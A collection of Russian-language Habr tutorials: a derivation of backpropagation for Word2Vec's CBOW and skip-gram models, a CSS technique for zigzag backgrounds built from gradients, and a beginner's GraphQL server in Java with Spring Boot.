Кроме этого, вы можете обратиться со своей задачей напрямую к автору данной статьи, Усиковой Татьяне `[usikova@unitsolutions.ru](mailto:usikova@unitsolutions.ru)`, и получить не только профессиональный совет, но и скидку на оборудование по промо-слову **unitfix**. | https://habr.com/ru/post/370465/ | null | ru | null |
# Алгоритм обратного распространения ошибки на примере Word2Vec
Поскольку я столкнулся с существенными затруднениями в поисках объяснения механизма обратного распространения ошибки, которое мне понравилось бы, я решил написать собственный пост об обратном распространении ошибки реализовав алгоритм Word2Vec. Моя цель, — объяснить сущность алгоритма, используя простую, но нетривиальную нейросеть. Кроме того, word2vec стал настолько популярным в NLP сообществе, что будет полезно сосредоточиться на нем.
Данный пост связан с другим, более [практическим постом](http://www.claudiobellei.com/2018/01/07/backprop-word2vec-python/) который рекомендую прочитать, в нем рассматривается непосредственная реализация word2vec на языке python. В данном же посте мы сосредоточимся в основном на теоретической части.
Начнем с вещей которые необходимы для настоящего понимания обратного распространения. Помимо понятий из машинного обучения, таких как, функция потерь и градиентный спуск, пригодятся еще два компонента из математики:
* линейная алгебра (в частности матричное умножение)
* [правило цепочки дифференцирования функций от многих переменных](https://www.khanacademy.org/math/multivariable-calculus/multivariable-derivatives/differentiating-vector-valued-functions/a/multivariable-chain-rule-simple-version)
Если вам знакомы эти понятия, то дальнейшие рассуждения окажутся простыми. Если же вы еще не освоили их, то все равно сможете понять основы обратного распространения.
Сперва я хочу дать определение понятию обратного распространения, если смысл будет недостаточно понятен, он будет раскрыт подробнее в следующих пунктах.
### 1. Что такое алгоритм обратного распространения
В рамках нейронной сети, единственными параметрами участвующими в обучении сети, то есть минимизации функции потерь, являются веса (здесь имею в виду веса в широком смысле, относя к ним и смещения). Веса изменяются на каждой итерации, пока мы не приблизимся к минимуму функции потерь.
В таком контексте, обратное распространение — это эффективный алгоритм нахождения оптимальных весов нейронной сети, то есть тех, которые оптимизируют функцию потерь.
Стандартный способ нахождения этих весов, применение алгоритма градиентного спуска, который подразумевает нахождение частных производных функции потерь по всем весам.
Для тривиальных задач в которых всего две переменных, легко представить как работает градиентный спуск, если вы посмотрите на рисунок, то увидите трехмерный график функции потерь, как функции весов w1 и w2.
*Рисунок 1. Визуальное объяснение алгоритма градиентного спуска.*
Вначале мы не знаем оптимальные значения, то есть не знаем какие значения w1 и w2 минимизируют функцию потерь.
Допустим, мы начинаем с красной точки. Если мы знаем как изменяется функция потерь при изменении весов, то есть если мы знаем производные  и , то мы можем сдвинуть красную точку ближе к минимуму функции потерь, которая представлена на графике синей точкой. Шаг сдвига определяется параметром , который обычно называется параметром обучения.
### 2. Word2Vec
Задача алгоритма word2vec, найти эмбеддинги слов в заданном текстовом корпусе, другими словами, это методика поиска представлений слов в низкой размерности. Как следствие, когда мы говорим о word2vec, мы обычно говорим о приложениях NLP.
Например, модель word2vec обученная со скрытым слоем размерности [N, 3], где N -количество слов в словаре, даст трехмерные эмбеддинги слов. Это значит что, например, слово 'квартира', будет представлено трехмерным вектором действительных чисел, который будет близок (воспринимайте это как [Евклидову метрику](https://ru.wikipedia.org/wiki/%D0%95%D0%B2%D0%BA%D0%BB%D0%B8%D0%B4%D0%BE%D0%B2%D0%B0_%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D0%BA%D0%B0)), к представлению аналогичного слова, такого как 'дом'. Другими словами, word2vec это техника отображения слов в числа.
В контексте word2vec используются две основные модели: мешок слов (CBOW) и скипграммы (skip-gram). Сначала мы рассмотрим простейшую модель, CBOW, с окном из одного слова, затем перейдем к окну из нескольких слов и наконец рассмотрим модель skip-gram.
По мере продвижения я покажу несколько небольших примеров с текстом состоящим всего из нескольких слов. Однако имейте в виду, что обычно woed2vec тренируется с миллиардами слов.
### 3. Простая модель CBOW
В CBOW модели задача состоит в поиске слова по его контексту. В простейшем случае когда контекст слова представлен одним словом, нейронная сеть будет выглядеть так:
*Рисунок 2. Топология модели Continuous Bag-of-Words модели с контекстом из одного слова*
Один входной слой, один скрытый слой и выходной слой, функция активации скрытого слоя
a = 1 (identity function, или функция линейной активации, хотя последнее неправильно).
В качестве функции активации выходного слоя используется Softmax.
Входной слой представлен [one hot encoding](https://ru.wikipedia.org/wiki/%D0%A3%D0%BD%D0%B8%D1%82%D0%B0%D1%80%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4) вектором, длина которого совпадает с размером массива слов, все элементы данного вектора равны нулю, кроме элементов, индексы которых совпадают с индексами слов из контекста, по данным индексам значения вектора равны 1.
Пример: словарь ['мама', 'мыла', 'раму', 'маша', 'ела', 'кашу']
OneHot('маша') = [0, 0, 0, 1, 0, 0]
OneHot(['мама', 'маша']) = [1, 0, 0, 1, 0, 0]
OneHot(['мама', 'ела', 'кашу']) = [1, 0, 0, 0, 1, 1]
Перейдем к весам, весовые коэффициенты между входным и скрытым слоем представлены матрицей W размера , матрица между скрытым и выходным слоем  размером , где V — размер словаря, N — размер эмбеддинг вектора (то есть, те вектора которые и пытается найти word2vec)
Выходной вектор y сравниваем с ожидаемым вектором t, чем они ближе, тем выше эффективность нейронной сети, и, соответственно, меньше функция потерь.
Если на текущем этапе что то звучит непонятно, то пример ниже должен прояснить ситуацию.
**Пример**Предположим, мы хотим обучить word2vec следующим текстом:
**"I like playing football"**
Мы решаем обучить модель CBOW с одним контекстным словом как на рисунке (2) выше.
Учитывая текст который у нас есть, наш словарь будет состоять из 4 слов, соответственно V=4, также установим что скрытый слой будет иметь два нейрона, то есть N=2, наша нейросеть будет выглядеть так:
Со словарём:
![$\textrm{Vocabulary}=[\textrm{“I”}, \textrm{“like”}, \textrm{“playing”}, \textrm{“football”}]$](https://habrastorage.org/getpro/habr/formulas/f41/b67/718/f41b67718ee43b9e0cec668116703326.svg)
Далее мы определяем как выбирать 'целевое' и 'контекстное' слово, и мы можем построить наши обучающие примеры двигаясь окном по тексту. Например:
Тогда обучающие примеры будут выглядеть так:
Чтобы передать эти данные в алгоритм понадобится преобразовать их в числа, для чего используем one-hot encoding.
На данный момент, мы хотим обучить нашу модель, находя веса, которые минимизируют функцию потерь. Это соответствует нахождению весов, которые с учетом вектора контекста могут с высокой точностью предсказать, что является соответствующим целевым словом.
### 3.1 Функция потерь (Loss function)
Исходя из топологии на рисунке 1, давайте запишем как посчитать значения скрытого и выходного слоев, при входе x:
где, h — сумма на скрытом слое, u — сумма на выходном слое, y — выход сети.
Теперь, предположим, мы обучаем модель по паре целевое слово, контекстное слово (wt, wc). Целевое слово представляет собой идеальное предсказание нейронной сети, в виде onehot encoding вектора.
Функция потерь должна будет оценить выходной слой, относительно onehot вектора wt (целевого слова).
Поскольку значения softmax можно интерпретировать как условные вероятности целевого слова, то учитывая контекстное слово функцию потерь можно записать в следующем виде:
![$\begin{equation*} \mathcal{L} = -\log \mathbb{P}(w_t|w_c)=-\log y_{j^*}\ =-\log[\mathbb{S}\textrm{oftmax}(u_{j^*})]=-\log\left(\frac{\exp{u_{j^*}}}{\sum_i \exp{u_i}}\right), \end{equation*}$](https://habrastorage.org/getpro/habr/formulas/f40/283/a15/f40283a15a0b3d0809da06ed263ccf64.svg)
, где j\* — ожидаемая позиция правильно предсказанного слова.
Добавление функции логарифма является стандартным подходом. Из данного выражения мы получаем уравнение (1):
![$\begin{equation} \bbox[lightblue,5px,border:2px solid red]{ \mathcal{L} = -u_{j^*} + \log \sum_i \exp{(u_i)}. } \label{eq:loss} \end{equation} \>(1)$](https://habrastorage.org/getpro/habr/formulas/0d0/ece/9f3/0d0ece9f36940c9a0e7fc06b394c4cdc.svg)
Функция потерь максимизирует вероятность предсказания правильного слова исходя из заданного контекста.
**Пример**Вернемся к предыдущему примеру предложения "I like play football", предположим мы обучаем модель по первой записи обучающих данных, с контекстным словом "I" и целевым словом "like", в идеале веса сети должны быть такими, чтобы при вводе  — что соответствует слову "I", результат работы был близок к , что соответствует слову "like".
Стандартный подход к инициализации весов word2vec, использование нормального распределения. Примем начальное состояние весов матрицы W размером 
И начальное состояние весов матрицы  размером 
Для обучающих данных "I like" мы получаем:
Затем
И наконец
На этом этапе функция потерь будет отрицательным логарифмом второго элемента , или
Также, мы могли бы рассчитать ее при помощи уравнения (1):
![$\begin{eqnarray*} \mathcal{L}=-u_2+\log\sum_{i=1}^4 u_i=-1.10720623 + \log[\exp(-1.54350765)+\exp(1.10720623) \\ +\exp(-1.25885456)+\exp(-0.61514042)]=0.2949781. \end{eqnarray*}$](https://habrastorage.org/getpro/habr/formulas/e15/ace/8b5/e15ace8b5cb5c23b1466c9e168c9626a.svg)
Теперь, прежде чем перейти к следующему обучающему примеру "like play", мы должны изменить веса нейросети, как это сделать расскажет следующий пункт про обратное распространение.
### 3.2 Алгоритм обратного распространения для модели CBOW
Теперь, имея в наличии функцию потерь, мы хотим найти веса W и W` которые ее минимизируют. В терминах машинного обучения, мы хотим чтобы модель обучилась.
В первом разделе мы уже обсудили что в мире нейронный сетей эта проблема решается использованием градиентного спуска. На рисунке (1) показано как применить этот метод и обновить матрицы весов W и W`. Нам нужно найти производные  и 
Я считаю что самый простой способ понять как это сделать, это записать соотношения между функцией потерь и матрицами весов. Глядя на уравнение (1) ясно что функция потерь зависит от весов W и W`, через переменную u=[u1, ...., uV], или
Получить производные можно из правила цепочки для функций многих переменных:
и
И это большая часть алгоритма обратного распространения, на данный момент нам просто нужно определить уравнения (2) и (3) для нашего случая.
Начнем с уравнения (2), обратите внимание что вес W`ij, относится к матрице W`, и соединяет нейрон i в скрытом слое с нейроном j в выходном слое, и соответственно оказывает влияние только на выход uj (соответственно и на yj).
*Рисунок 3. (a) Выходной узел  зависит от общего узла  скрытого слоя только через элемент  матрицы . (b) Но кроме того, этот же выходной узел зависит от общего входного узла  через N элементов  матрицы W.*
Следовательно, среди всех производных , только одна, где k=j, будет отличаться от 0.
Уравнение (4):
Давайте посчитаем , уравнение (5):
, где  — [дельта Кронекера](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB_%D0%9A%D1%80%D0%BE%D0%BD%D0%B5%D0%BA%D0%B5%D1%80%D0%B0), функция двух целых переменных, которая равна 1, если они равны, и 0 в противном случае.
В уравнении (5) мы ввели вектор e размерности N (размер словаря), который мы используем чтобы снизить сложность обозначений, этот вектор представляет собой разницу между полученным и ожидаемым результатом, то есть это вектор ошибок предсказания.
Для второго члена правой части уравнения (4) мы получим уравнения (6):
После подставновки уравнений (5) и (6) в уравнение (4) мы получим уравнение (7):
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'_{ij}} = (-\delta_{jj^*} + y_j) \left(\sum_{k=1}^V W_{ki}x_k\right) } \label{eq:backprop1} \end{equation} \>(7)$](https://habrastorage.org/getpro/habr/formulas/803/9aa/fc9/8039aafc9366442fea22e47a2749a322.svg)
Мы можем найти выполнить аналогичное упражнение для поиска производной , однако на этот раз отметим что после задания входа Xk, выход yj нейрона j зависит от всех элементов матрицы W соединенных со входом, как видно на рисунке 3(b). Поэтому мы должны оценивать все элементы в сумме. Прежде чем перейти к оценке , полезно перезаписать выражение для элемента uk из вектора u как:
Из этого уравнения легко вывести , поскольку единственный выживший член производной будет с индексами l=i и m=j, или же в виде уравнения (8):
Наконец применив уравнения (5) и (8) мы получим результат, уравнение (9):
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial \mathcal{L}}{\partial W_{ij}} = \sum_{k=1}^V (-\delta_{kk^*}+y_k)W'_{jk}x_i } \label{eq:backprop2} \end{equation} \>(9)$](https://habrastorage.org/getpro/habr/formulas/418/03a/a32/41803aa32556cf4a26ad865d3d158821.svg)
**Векторизация**Мы можем упростить запись уравнений. (7) и (9) используя векторную нотацию. Сделав это мы получим для уравнения (7)
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'} = (W^T\textbf{x}) \otimes \textbf{e} } \end{equation} \>(10)$](https://habrastorage.org/getpro/habr/formulas/d44/92d/681/d4492d68186efeb772d71cb396c24da8.svg)
Где символ ⊗ обозначает векторное произведение.
Для уравнения (9) мы получим:
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial \mathcal{L}}{\partial W} = \textbf{x}\otimes(W'\textbf{e}) } \end{equation} \>(11)$](https://habrastorage.org/getpro/habr/formulas/77a/9d5/c28/77a9d5c284dd0e9a88312931291952a2.svg)
### 3.3 Градиентный спуск на основе полученных выше результатов
Теперь, когда у нас есть уравнения (7) и (9), у нас есть все необходимое для реализации одной итерации обучения нейросети на базе алгоритма обратного распространения ошибки, применяя градиентный спуск. Каждая итерация должна немного приближать к минимуму функцию потерь. После задания скорости обучения , мы можем обновить наши веса следующим образом:
### 3.4 Итерация алгоритма
Все описанное выше является всего лишь одним маленьким шагов всего процесса оптимизации. В частности, до этого момента мы обучали нашу нейросеть всего на одном тренировочном примере. Чтобы завершить первый проход, мы должны применить все обучающие примеры. Сделав это, мы пройдем одну эпоху обучения. После чего нам нужно будет повторять цикл обучения, пройдя достаточное количество эпох, пока изменения функции потерь не станут незначительными, после чего можно будет остановиться и считать нейросеть обученной.
### 4. Алгоритм обратного распространения для контекста из нескольких слов в модели CBOW
Мы уже знаем как работает алгоритм обратного распространения для модели CBOW с одним словом на входе. Теперь увеличим сложность и добавим в контекст несколько слов. Рисунок (4) показывает как выглядит нейросеть теперь. Вход теперь представляет собой серию OneHot Encoded векторов слов входящих в контекст. Количество слов в контексте является параметром который мы можем задавать при инициализации word2vec. Скрытый слой получает усреднение из всех контекстных слов.
*Рисунок 4. Топология модели CBOW с контекстом из нескольких слов*
Уравнения модели CBOW с несколькими контекстными словами являются обобщением уравнений модели CBOW с одним контекстным словом.
Обратите внимание, что для удобства мы ввели определение 'усредненный' входной вектор 
Как и прежде, чтобы применить алгоритм обратного распространения нам нужно выписать функцию потерь и выписать ее зависимости. Функция потерь выглядит также как и раньше:
Снова выпишем уравнения по правилу цепочки, аналогично предыдущим:
и
Производные функции потерь по весам такие же как для модели CBOW с одним словом на входе, с единственным отличием, что мы заменим входной вектор из одного слова на усредненный вектор из слов контекста. Выведем эти уравнения начиная с производной по 
Теперь запишем производную по :
Подведя итог имеем следующее:
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'_{ij}} = (-\delta_{jj^*} + y_j) \left(\sum_{k=1}^V W_{ki}\overline{x}_k\right) } \label{eq:backprop1_multi} \end{equation} \>(17)$](https://habrastorage.org/getpro/habr/formulas/bbf/a4f/3a7/bbfa4f3a70b9847b95bbece21679c082.svg)
и
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W_{ij}} = \sum_{k=1}^V(-\delta_{kk^*} + y_k)W'_{jk}\overline{x}_i . } \label{eq:backprop2_multi} \end{equation} \> (18)$](https://habrastorage.org/getpro/habr/formulas/771/fc5/b58/771fc5b58d851d8b22dae41a2f021bb0.svg)
**Векторизация**Перепишем уравнения (17) и (18) в записи для векторов.
Уравнение (17) примет вид:
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'} = (W^T\overline{\textbf{x}}) \otimes \textbf{e} } \end{equation} \>(19)$](https://habrastorage.org/getpro/habr/formulas/303/5a8/2d7/3035a82d71fdedea0877f0b49714a411.svg)
Для уравнения (18):
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial \mathcal{L}}{\partial W} =\overline{\textbf{x}}\otimes(W'\textbf{e}) } \end{equation} \>(20)$](https://habrastorage.org/getpro/habr/formulas/8df/37e/997/8df37e9970aa67a7a4616d8e32a4c662.svg)
Еще раз, обратите внимание что уравнения идентичны уравнениям в модели CBOW для контекста из одного слова.
Оператор ⊗ обозначает векторное произведение.
### 5. Алгоритм обратного распространения для модели Skip-gram
Данная модель по сути обратна модели CBOW, на вход подается центральное слово, на выходе предсказывается его контекст. Полученная нейросеть выглядит следующим образом:
*Рисунок 5.Топология Skip-gram модели.*
Уравнения skip-gram модели следующие:
Обратите внимание что выходные вектора (как и вектор ) идентичны, . Функция потерь выглядит следующим образом:
Для модели skip-gram функция потерь зависит от  переменных
через:
Соответственно правило цепочки выглядит так:
и
Посчитаем , получим:
Аналогично модели CBOW получаем:
Производная по  самая сложная, но выполнимая:
Подведя итог, для модели skip-gram мы имеем:
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'_{ij}} = \sum_{c=1}^C(-\delta_{jj_c^*} + y_{c,j}) \left(\sum_{k=1}^V W_{ki}x_k\right) } \label{eq:backprop1_skip} \end{equation} \>(21)$](https://habrastorage.org/getpro/habr/formulas/225/01c/d97/22501cd97ab26ba6d82d5bfb88fe05cd.svg)
и
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W_{ij}} = \sum_{k=1}^V\sum_{c=1}^C (-\delta_{kk_c^*} + y_{c,k})W'_{jk}x_i . } \label{eq:backprop2_skip} \end{equation} \>(22)$](https://habrastorage.org/getpro/habr/formulas/612/851/c5f/612851c5f223cb8f5959d0a625376aa9.svg)
**Векторизация**Векторизованная версия уравнения (21):
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial\mathcal{L}}{\partial W'} = (W^T\textbf{x}) \otimes \sum_{c=1}^C\textbf{e}_c } \end{equation} \>(23)$](https://habrastorage.org/getpro/habr/formulas/076/88a/74f/07688a74f6d47e8fd9a7366d5f95140b.svg)
Уравнение (22):
![$\begin{equation} \bbox[white,5px,border:2px dotted red]{ \frac{\partial \mathcal{L}}{\partial W} = \textbf{x}\otimes\left(W'\sum_{c=1}^C\textbf{e}_c\right) } \end{equation} \>(24)$](https://habrastorage.org/getpro/habr/formulas/51d/fc9/21a/51dfc921acc63be1b7c819020fea7acf.svg)
### 6. Что дальше
Мы подробно рассмотрели как работает алгоритм обратного распространения в случае word2vec. Однако рассмотренная реализация неэффективна для больших текстовых корпусов. В оригинальной статье [2] применяются некоторые трюки для преодоления этих проблем (иерархический softmax, negative sampling), однако я не буду на них останавливаться подробно. Вы можете найти подробное описание по ссылке [1].
Несмотря на вычислительную неэффективность реализации описанной здесь, она содержит всё необходимое для обучения нейронных сетей word2vec.
Следующим шагом будет реализация этих уравнений на вашем любимом языке программирования. Если вам нравится Python, я уже реализовал эти уравнения в моем [следующем посте](http://www.claudiobellei.com/2018/01/07/backprop-word2vec-python/).
Надеюсь увидеть вас там!
### Дополнительные ссылки
[1] X. Rong, [word2vec Parameter Learning Explained](https://arxiv.org/abs/1411.2738), arXiv:1411.2738 (2014).
[2] T. Mikolov, K. Chen, G. Corrado, J. Dean, [Efficient Estimation of Word Representations in Vector Space](https://arxiv.org/abs/1301.3781), arXiv:1301.3781 (2013). | https://habr.com/ru/post/496186/ | null | ru | null |
# Повторяющийся зубчатый фон на CSS
[](http://jsfiddle.net/CyberAP/eSx3d/)
Давно на хабре не было постов про CSS и я решил восполнить этот пробел. Сегодня мы учимся готовить зубчатый фон используя только средства CSS и никаких изображений!
Важные требования к такому забору:
* Никаких изображений!
* Он должен спокойно тянуться по горизонтали
* Обязательно должен поддерживать неравномерный фон у подложки
* Фон не должен требовать никакой экстра-разметки. Лучше всего будет избегать псевдо-элементов (экономия — хорошо).
Поддерживаемые браузеры: Chrome, Firefox (> 3.6), Opera (>= 12), Safari (>= 5), IE10.
Для IE 7, 8 у нас будет фоллбэк в виде обычной заливки. А вот с IE9 проблема — он не поддерживает градиенты, но при этом понимает hsla и rgba цвета. Воистину «великолепный» браузер. Что ж, его пока придётся игнорировать. Если кто–то подскажет хороший фоллбэк для IE буду только благодарен.
Что ж, приступим.
Наш зубчатый край будет состоять из двух наслаивающихся друг на друга градиентов в виде треугольников.
```
background-image:
linear-gradient(to bottom right, transparent 50.5%, lightblue 50.5%),
linear-gradient(to bottom left, transparent 50.5%, lightblue 50.5%); /* 50.5%, иначе угол будет не острый */
background-repeat: repeat-x, repeat-x;
background-position: 10px 0, 10px 0; /* начинаем не с обрезанного угла */
background-size: 20px 20px, 20px 20px;
```
Чтобы скрыть все неприятные моменты снизу просто наложим поверх сплошной цвет.
```
border-top: 10px solid transparent; /* подготовим место под зубчики */
background-image:
linear-gradient(lightblue, skyblue), /* общий фон блока, всегда идёт первым перекрывая всё что под ним */
linear-gradient(to bottom right, transparent 50.5%, lightblue 50.5%),
linear-gradient(to bottom left, transparent 50.5%, lightblue 50.5%);
background-repeat: repeat, repeat-x, repeat-x;
background-position: 0 0, 10px 0, 10px 0;
background-size: auto auto, 20px 20px, 20px 20px;
background-clip: padding-box, border-box, border-box; /* обрезаем края у общей заливки */
background-origin: padding-box, border-box, border-box, border-box, border-box; /* позиционируем зубцы относительно верхней границы, а фон относительно внутреннего отступа */
```
Ну вот и готово. Осталось добавить такие же зубцы снизу.
```
border-top: 10px solid transparent;
background-image:
linear-gradient(lightblue, skyblue),
linear-gradient(to bottom right, transparent 50.5%, lightblue 50.5%),
linear-gradient(to bottom left, transparent 50.5%, lightblue 50.5%),
linear-gradient(to top right, transparent 50.5%, skyblue 50.5%),
linear-gradient(to top left, transparent 50.5%, skyblue 50.5%);
background-repeat: repeat, repeat-x, repeat-x, repeat-x, repeat-x;
background-position: 0 0, 10px 0, 10px 0, 10px 100%, 10px 100%;
background-size: auto auto, 20px 20px, 20px 20px, 20px 20px, 20px 20px;
background-clip: padding-box, border-box, border-box, border-box, border-box;
background-origin: padding-box, border-box, border-box, border-box, border-box;
```
Не забываем про фоллбэк:
```
background-color: lightblue;
background-color: hsla(0, 0%, 0%, 0);
```
В итоге мы получили блок с зубцами который можно растягивать сколько угодно. Псевдоэлементы не задействованы, их можно использовать, к примеру, для добавления таких же зубцов по бокам.
[Демо](http://jsfiddle.net/CyberAP/eSx3d/) | https://habr.com/ru/post/176591/ | null | ru | null |
# Примеры GraphQL на Java для начинающих [со Spring Boot]
В этой статье мы рассмотрим пример GraphQL на Java и создадим простой сервер GraphQL со Spring Boot.
*Таким цыпочкам тоже нравятся примеры GraphQL на Java со Spring Boot!*
GraphQL — это язык запросов для [API](https://dzone.com/articles/api-development-an-introductory-guide), который позволяет клиентам запрашивать ограниченное множество данных, в которых они нуждаются, что позволяет клиентам собирать данные в ограниченном количестве запросов. GraphQL — это строго типизированный протокол, и все операции с данными проверяются в соответствии со схемой GraphQL.
В этой статье мы рассмотрим пример GraphQL на Java и создадим простой сервер GraphQL со Spring Boot.
Добавление зависимостей Maven
-----------------------------
Создайте пример [Spring Boot](https://dzone.com/articles/what-is-spring-boot) приложения и добавьте следующие зависимости.
1. **graphql-spring-boot-starter** используется для включения сервлета GraphQL и будет доступен по пути */graphql*. Он инициализирует **GraphQLSchema** бин.
2. **graphql-java** позволяет нам писать схемы на языке схем GraphQL, который прост для понимания.
3. **graphiql-spring-boot-starter** предоставляет пользовательский интерфейс, с помощью которого мы сможем тестировать наши запросы на GraphQL и просматривать определения запросов.
```
com.graphql-java
graphql-spring-boot-starter
5.0.2
com.graphql-java
graphql-java-tools
5.2.4
com.graphql-java
graphiql-spring-boot-starter
5.0.2
```
Вот полное содержимое файла POM.
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.techshard.graphql
springboot-graphql
1.0-SNAPSHOT
org.springframework.boot
spring-boot-starter-parent
2.1.6.RELEASE
UTF-8
UTF-8
org.springframework.boot
spring-boot-starter-web
org.springframework.boot
spring-boot-starter-data-jpa
com.graphql-java
graphql-spring-boot-starter
5.0.2
com.graphql-java
graphql-java-tools
5.2.4
com.graphql-java
graphiql-spring-boot-starter
5.0.2
com.h2database
h2
runtime
org.projectlombok
lombok
1.18.8
true
org.springframework.boot
spring-boot-maven-plugin
```
Создание сущности и репозитория JPA
-----------------------------------
Давайте создадим простую сущность с именем **Vehicle** и соответствующий [JPA](https://dzone.com/articles/spring-data-jpa) репозиторий. Мы будем использовать **Lombok**, чтобы избежать написания шаблоного кода, такого как геттеры, сеттеры и так далее.
```
package com.techshard.graphql.dao.entity;
import lombok.Data;
import lombok.EqualsAndHashCode;
import javax.persistence.*;
import java.io.Serializable;
import java.time.LocalDate;
@Data
@EqualsAndHashCode
@Entity
public class Vehicle implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@Column(name = "ID", nullable = false)
@GeneratedValue(strategy = GenerationType.AUTO)
private int id;
@Column(name = "type", nullable = false)
private String type;
@Column(name = "model_code", nullable = false)
private String modelCode;
@Column(name = "brand_name")
private String brandName;
@Column(name = "launch_date")
private LocalDate launchDate;
private transient String formattedDate;
// Getter and setter
public String getFormattedDate() {
return getLaunchDate().toString();
}
}
```
Вот соответствующий репозиторий JPA.
```
package com.techshard.graphql.dao.repository;
import com.techshard.graphql.dao.entity.Vehicle;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface VehicleRepository extends JpaRepository {
}
```
Схема GraphQL
-------------
GraphQL поставляется с собственным языком для написания схем GraphQL, который называется [Schema Definition Language](https://www.howtographql.com/basics/2-core-concepts/) (SDL — язык определения схемы). Определение схемы состоит из всех функций API, доступных в конечной точке.
Типичный пример схемы GraphQL будет выглядеть так:
```
type Vehicle {
id: ID!,
type: String,
modelCode: String,
brandName: String,
launchDate: String
}
type Query {
vehicles(count: Int):[Vehicle]
vehicle(id: ID):Vehicle
}
type Mutation {
createVehicle(type: String!, modelCode: String!, brandName: String, launchDate: String):Vehicle
}
```
Создайте папку **graphql** в папке **src/main/resources** и в ней создайте файл **vehicleql.graphqls**. Скопируйте вышеуказанное содержимое и вставьте его в файл **vehicleql.graphqls**. Обратите внимание, что именем файла может быть любое имя по вашему выбору. Просто убедитесь, что у имени файла есть расширение **.graphqls**.
В приведенной выше схеме каждый объект имеет определенный тип. Система типов в GraphQL является базовым компонентом и она представляет тип объекта, который можно получить от сервиса и полей, которые содержит объект.
В нашей схеме есть объект с именем Vehicle, который является нашим объектом домена. Тип Query представляет запрос, который можно сделать на сервер GraphQL для извлечения данных. Этот запрос является интерактивным, данные можно изменить, и новые результаты можно увидеть. Структура запроса и результат одинаковы. Это важно в мире GraphQL, потому что мы всегда получаем ожидаемый результат.
Ниже в этой статье мы увидим рабочий пример.
Тип **Mutation** представляет запросы, которые используются для выполнения операций записи данных.
Root Query
----------
Объекты Query или Mutation являются основными объектами GraphQL. У них нет связанных классов данных. В таких случаях классы распознавателя (resolver) будут реализовывать **GraphQLQueryResolver** или **GraphQLMutationResolver**. Эти распознаватели будут искать методы, которые соответствуют полями в соответствующих основных типах.
Давайте определим основные распознаватели для Vehicle.
```
package com.techshard.graphql.query;
import com.coxautodev.graphql.tools.GraphQLQueryResolver;
import com.techshard.graphql.dao.entity.Vehicle;
import com.techshard.graphql.service.VehicleService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import java.util.List;
import java.util.Optional;
@Component
public class VehicleQuery implements GraphQLQueryResolver {
@Autowired
private VehicleService vehicleService;
public List getVehicles(final int count) {
return this.vehicleService.getAllVehicles(count);
}
public Optional getVehicle(final int id) {
return this.vehicleService.getVehicle(id);
}
}
```
В этом классе реализованы методы для получения одного объекта **Vehicle** и списка объектов **Vehicle**. Обратите внимание, что мы определили эти методы в нашей схеме выше.
Теперь давайте определим распознаватель мутаций.
```
package com.techshard.graphql.mutation;
import com.coxautodev.graphql.tools.GraphQLMutationResolver;
import com.techshard.graphql.dao.entity.Vehicle;
import com.techshard.graphql.service.VehicleService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import java.time.LocalDate;
@Component
public class VehicleMutation implements GraphQLMutationResolver {
@Autowired
private VehicleService vehicleService;
public Vehicle createVehicle(final String type, final String modelCode, final String brandName, final String launchDate) {
return this.vehicleService.createVehicle(type, modelCode, brandName, launchDate);
}
}
```
В этом классе у нас есть только один метод для создания объекта **Vehicle**, и это соответствует типу **Mutation** в нашем определении схемы.
Теперь мы определим сервис, который будет выполнять реальные транзакции.
```
package com.techshard.graphql.service;
import com.techshard.graphql.dao.entity.Vehicle;
import com.techshard.graphql.dao.repository.VehicleRepository;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.time.LocalDate;
import java.util.List;
import java.util.Optional;
import java.util.stream.Collectors;
@Service
public class VehicleService {
private final VehicleRepository vehicleRepository ;
public VehicleService(final VehicleRepository vehicleRepository) {
this.vehicleRepository = vehicleRepository ;
}
@Transactional
public Vehicle createVehicle(final String type,final String modelCode, final String brandName, final String launchDate) {
final Vehicle vehicle = new Vehicle();
vehicle.setType(type);
vehicle.setModelCode(modelCode);
vehicle.setBrandName(brandName);
vehicle.setLaunchDate(LocalDate.parse(launchDate));
return this.vehicleRepository.save(vehicle);
}
@Transactional(readOnly = true)
public List getAllVehicles(final int count) {
return this.vehicleRepository.findAll().stream().limit(count).collect(Collectors.toList());
}
@Transactional(readOnly = true)
public Optional getVehicle(final int id) {
return this.vehicleRepository.findById(id);
}
}
```
Тестирование приложения
-----------------------
Приложение теперь готово к тестированию. Запустите приложение Spring Boot и откройте в браузере эту ссылку: <http://localhost:8080/graphiql>. Мы увидим хороший пользовательский интерфейс, как показано ниже.
В правой части пользовательского интерфейса мы можем изучить документацию.
Теперь запустите следующий запрос.
```
mutation {
createVehicle(type: "car", modelCode: "XYZ0192", brandName: "XYZ", launchDate: "2016-08-16")
{
id
}
}
```
Это создаст строку в таблице Vehicle. Результат должен быть:
```
{
"data": {
"createVehicle": {
"id": "1"
}
}
}
```
Давайте теперь запустим запрос, чтобы получить данные.
```
query {
vehicles(count: 1)
{
id,
type,
modelCode
}
}
```
Вывод будет выглядеть так:
```
{
"data": {
"vehicles": [
{
"id": "1",
"type": "bus",
"modelCode": "XYZ123"
}
]
}
}
